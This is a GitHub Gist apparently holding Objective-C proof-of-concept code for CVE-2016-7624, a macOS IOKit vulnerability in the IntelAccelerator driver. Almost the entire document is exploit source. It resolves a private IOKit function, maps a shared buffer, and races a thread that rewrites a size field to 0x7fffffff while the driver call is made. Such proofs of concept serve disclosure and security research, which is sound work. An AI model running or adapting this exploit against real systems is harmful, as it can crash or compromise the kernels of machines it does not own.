Created
January 7, 2017 07:14
-
-
Save flankerhqd/b891da0908b8038fdd5e3d63acec419c to your computer and use it in GitHub Desktop.
POC for CVE-2016-7624
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// main.m | |
// cmdqueue1 | |
// | |
// Created by keen on 2016-04-11. | |
// Copyright © 2016 keen. All rights reserved. | |
// | |
#include <dlfcn.h> | |
#import <Foundation/Foundation.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <stdio.h> | |
void* (*io_connect_method)(mach_port_t, uint32_t, | |
uint64_t*, uint32_t, | |
void*, mach_msg_type_number_t, | |
mach_vm_address_t, mach_vm_size_t, | |
void*, mach_msg_type_number_t*, | |
uint64_t*, uint32_t*, | |
mach_vm_address_t, mach_vm_size_t*); | |
void (*io_connect_async_method)(mach_port_t, mach_port_t, | |
uint64_t*, uint32_t, | |
uint32_t, | |
uint64_t *, uint32_t, | |
void*, mach_msg_type_number_t, | |
mach_vm_address_t, mach_vm_size_t, | |
void*, mach_msg_type_number_t*, | |
uint64_t*, uint32_t*, | |
mach_vm_address_t, mach_vm_size_t*); | |
char* input; | |
size_t size = 4088; | |
size_t ool_size = 4088; | |
#define reinterpret_cast_mach_vm_address_t(p) ((mach_vm_address_t) (uintptr_t) p) | |
char* dommap() | |
{ | |
size_t i = ool_size; | |
void *rr_addr = mmap(0x80000000, size, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0); | |
printf("mmap addr %p\n", rr_addr); | |
memset(rr_addr, 'a', i); | |
return rr_addr; | |
} | |
volatile unsigned int secs = 10; | |
void modifystrcut() | |
{ | |
//usleep(secs++); | |
*((unsigned int*)(input+4)) = 0x7fffffff; | |
//*((unsigned int*)(input+4)) = 0xffff; | |
printf("secs %x\n", secs); | |
} | |
void getFunc() | |
{ | |
FILE *fp; | |
char line[4096]; | |
fp = popen("nm /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit | grep _io_connect_method | grep -v var_output","r"); | |
if(fp == NULL) | |
{ | |
printf("failed to get symbol addr\n"); | |
exit(-1); | |
} | |
fgets(line, sizeof(line)-1, fp); | |
{ | |
char *addrstr = strtok(line, " "); | |
unsigned addr = strtoul(addrstr, NULL, 16); | |
void* handle = dlopen("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_LAZY); | |
io_connect_method = *(unsigned long *)((unsigned long)handle + 0x50) + addr; | |
} | |
fclose(fp); | |
printf("%p\n", io_connect_method); | |
} | |
void* callback(void *refcon, IOReturn result, void **args,uint32_t numArgs) | |
{ | |
printf("callback called with arg %d\n", numArgs); | |
for(size_t i=0;i<5;i++) | |
{ | |
printf("%llx ", *((uint64_t*)args + i) ); | |
} | |
puts(""); | |
return NULL; | |
} | |
IONotificationPortRef ref; | |
mach_port_t port; | |
void gaorunloop() | |
{ | |
CFRunLoopSourceRef runLoopSource; | |
runLoopSource = IONotificationPortGetRunLoopSource(ref); | |
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopDefaultMode); | |
CFRunLoopRun(); | |
} | |
int main(int argc, const char * argv[]) { | |
io_iterator_t iterator; | |
getFunc(); | |
io_connect_t conn; | |
io_service_t svc; | |
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IntelAccelerator"), &iterator); | |
svc = IOIteratorNext(iterator); | |
printf("%x %x\n", IOServiceOpen(svc, mach_task_self(), 9, &conn), conn); | |
io_connect_t sharedconn; | |
IOServiceOpen(svc, mach_task_self(), 6, &sharedconn); | |
IOConnectAddClient(conn, sharedconn); | |
//then set async ref | |
ref = IONotificationPortCreate(kIOMasterPortDefault); | |
port = IONotificationPortGetMachPort(ref); | |
pthread_t rt; | |
pthread_create(&rt, NULL, gaorunloop, NULL); | |
io_async_ref64_t asyncRef; | |
asyncRef[kIOAsyncCalloutFuncIndex] = callback; | |
asyncRef[kIOAsyncCalloutRefconIndex] = NULL; | |
const uint32_t outputcnt = 0; | |
const size_t outputcnt64 = 0; | |
IOConnectCallAsyncScalarMethod(conn, 0, port, asyncRef, 3, NULL, 0, NULL, &outputcnt); | |
size_t i=0; | |
input = dommap(); | |
//while(true) | |
{ | |
char* structinput = input; | |
*((unsigned int*)(structinput+4)) = 0xaa;//the size is then used in for loop, possible to change it in descriptor? | |
size_t outcnt = 0; | |
//first connect to a sharedbuf | |
//pthread_create(&t, NULL, modifystrcut, NULL); | |
// printf("%x\n", IOConnectCallMethod(conn, 1, NULL, 0, structinput, size, NULL, &outcnt, NULL, &outcnt)); | |
// pthread_join(&t, NULL); | |
} | |
const size_t bufsize = 4088; | |
char buf[bufsize]; | |
memset(buf, 'a', sizeof(buf)*bufsize); | |
size_t outcnt =0; | |
*((unsigned int*)(buf+4)) = 0xaa; | |
//while(1) | |
//for(size_t i=0;i<20;i++) | |
{ | |
pthread_t t; | |
pthread_create(&t, NULL, modifystrcut, NULL); | |
//printf("%x\n", IOConnectCallMethod(conn, 1, NULL, 0, buf, size, NULL, &outcnt, NULL, &outcnt)); | |
io_connect_method( | |
conn, | |
1, | |
NULL,//input | |
0,//inputCnt | |
buf,//inb_input | |
bufsize,//inb_input_size | |
reinterpret_cast_mach_vm_address_t(input),//ool_input | |
ool_size,//ool_input_size | |
buf,//inb_output | |
(mach_msg_type_number_t*)&outputcnt, //inb_output_size* | |
(uint64_t*)buf,//output | |
&outputcnt, //outputCnt | |
reinterpret_cast_mach_vm_address_t(buf), //ool_output | |
(mach_msg_type_number_t*)&outputcnt64//ool_output_size* | |
); | |
} | |
//sleep(10); | |
// | |
return 0; | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment